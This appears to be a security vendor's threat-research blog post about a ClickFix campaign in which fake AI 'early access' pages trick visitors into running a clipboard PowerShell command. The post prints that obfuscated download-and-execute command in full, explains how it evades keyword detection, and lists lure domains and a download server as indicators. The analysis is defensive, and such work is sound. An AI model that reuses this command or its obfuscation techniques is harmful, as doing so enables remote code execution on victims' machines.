Fake AI early access: the waiting list ends in a command.
A new AI model is announced, and pages appear that offer to let you in before everyone else. You only need to pass a quick verification first. That verification is a ClickFix lure, and one server has been behind it for a month.
In short
- Since 14 October our research browsers have met nine pages that offered "early access" to an AI assistant or a crypto airdrop. Every one of them sent visitors to the same download server,
threejrev[.]com. - The pages are not hacked sites: the attackers registered them, with names such as
claudeearlyaccess-fable[.]cfd,googlegemini-earlyaccess[.]comanddeepseek-earlyaccess[.]com. - The command they put on the clipboard hides its purpose: the parts of
Invoke-RestMethodare glued together at run time, and the line ends with a fake "Challenge Response ID", which is all the visitor sees in the Run box. - ByteMantle recognised the command and replaced it on the clipboard before it could be pasted, every one of the four times our browsers met this exact command.
The lure
The page presents itself as the early-access or waiting-list page of a well-known AI product, whose name is in the domain. Before the "access", a fake verification asks the visitor to prove they are human by pressing Windows + R, then Ctrl + V, then Enter, and the page puts a command on the clipboard. That is ClickFix: the visitor runs the attacker's command themselves. What is ClickFix?
The theme is chosen for its audience. People who want early access to a new model are curious, used to sign-up flows and willing to follow instructions. Many of them work in technology, with access to source code and cloud accounts.
Nine pages, one server
The download server of the command was the same on every page: threejrev[.]com, a domain registered on 10 October 2026. Four days later our research browsers met the first pages that used it. The six we can name, all registered by the attackers themselves:
| Lure page | Theme | First seen |
|---|---|---|
claudeearlyaccess[.]cfd | AI assistant, early access | 14 October |
googlegemini-earlyacccess[.]com | AI assistant, early access (note the third "c") | 14 October |
deepseek-earlyaccess[.]com | AI assistant, early access | 14 October |
metricairdrop[.]cfd | crypto airdrop | 14 October |
googlegemini-earlyaccess[.]com | AI assistant, early access; the domain was 16 days old | 27 October |
claudeearlyaccess-fable[.]cfd | AI assistant, early access; the domain was about 24 days old | 5 November |
Three more pages used the same server. The names change with the news: a new model announced, a new domain registered. The server stays.
The command
This is what the page put on the clipboard (defanged):
powershell "@(0)|&('%'){'7qs6'}|&('%'){'2yjkakch'}|&('%'){&('{0}{1}'-f'i','ex') $(@(6,6)|&('%'){&('{0}{1}{2}'-f'Invo','ke-','RestMethod') ('threejrev.'+'c'+'om/r')}|&('Select-'+'Object') -First 1)}" # Gateway Verification - Challenge Response ID: 597242
Read from left to right, it does very little that is visible:
- The words are built at run time.
'{0}{1}'-f'i','ex'becomesiex(run this text as code),'Invo','ke-','RestMethod'becomesInvoke-RestMethod(download this), and the server's name is glued together from three pieces. A rule that looks for those words in the text finds none of them. - Steps that do nothing.
&('%')is a short way to writeForEach-Object; the first two steps pass meaningless strings along, so the real download sits deep inside the line. - A reassuring ending. Everything after
#is a comment PowerShell ignores. The Run box is narrow and shows the end of what was pasted, so the visitor sees "Gateway Verification - Challenge Response ID: 597242" and believes they pasted a verification code.
Put back together, the command downloads a text from threejrev[.]com/r and runs it.
What ByteMantle recognised
On every page the ByteMantle extension saw the page write the command to the clipboard without the visitor selecting anything (written in hiding), rebuilt the words the command glues together, and recognised a download that is run. It replaced the clipboard with a harmless message. It did not need to know the server or the page in advance: it worked the first time our browsers opened claudeearlyaccess-fable[.]cfd, like the others.
Why a block list falls behind
A new lure domain comes with every announcement, so protection that depends on block lists has to wait until someone reports each one. The server behind them could be listed, but the attackers can change it as easily as the pages, and the command never names it in one piece. ByteMantle uses lists too, signed threat lists and the age of every domain. What stops this attack is reading the command itself.
What to do
- Everyone: early access to an AI product comes from the company's own website or app, never through a page that asks you to press Windows + R. No real verification asks you to paste anything. Already pasted? What to do now.
- Security teams: look for
powershellstarted fromexplorer.exewith-fformat strings,&('%')and a trailing# … ID:comment. Tell developers and early adopters about this lure first: they are its audience.
Indicators
| Indicator | What it is |
|---|---|
threejrev[.]com | download server (registered 10 October 2026) |
claudeearlyaccess[.]cfd, claudeearlyaccess-fable[.]cfd | lure pages |
googlegemini-earlyaccess[.]com, googlegemini-earlyacccess[.]com | lure pages |
deepseek-earlyaccess[.]com, metricairdrop[.]cfd | lure pages |
How we collect this
We open pages from public lists of ClickFix sites in research browsers with the ByteMantle extension, the same extension you can install. We do not run the commands and do not download the malware. The links between the pages come from the command and its download server, as the ByteMantle console's campaign view shows them; the domain ages come from its domain-age check. What customers' browsers see is never part of our research.
Read more
Stop these attacks before anything runs.
Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it.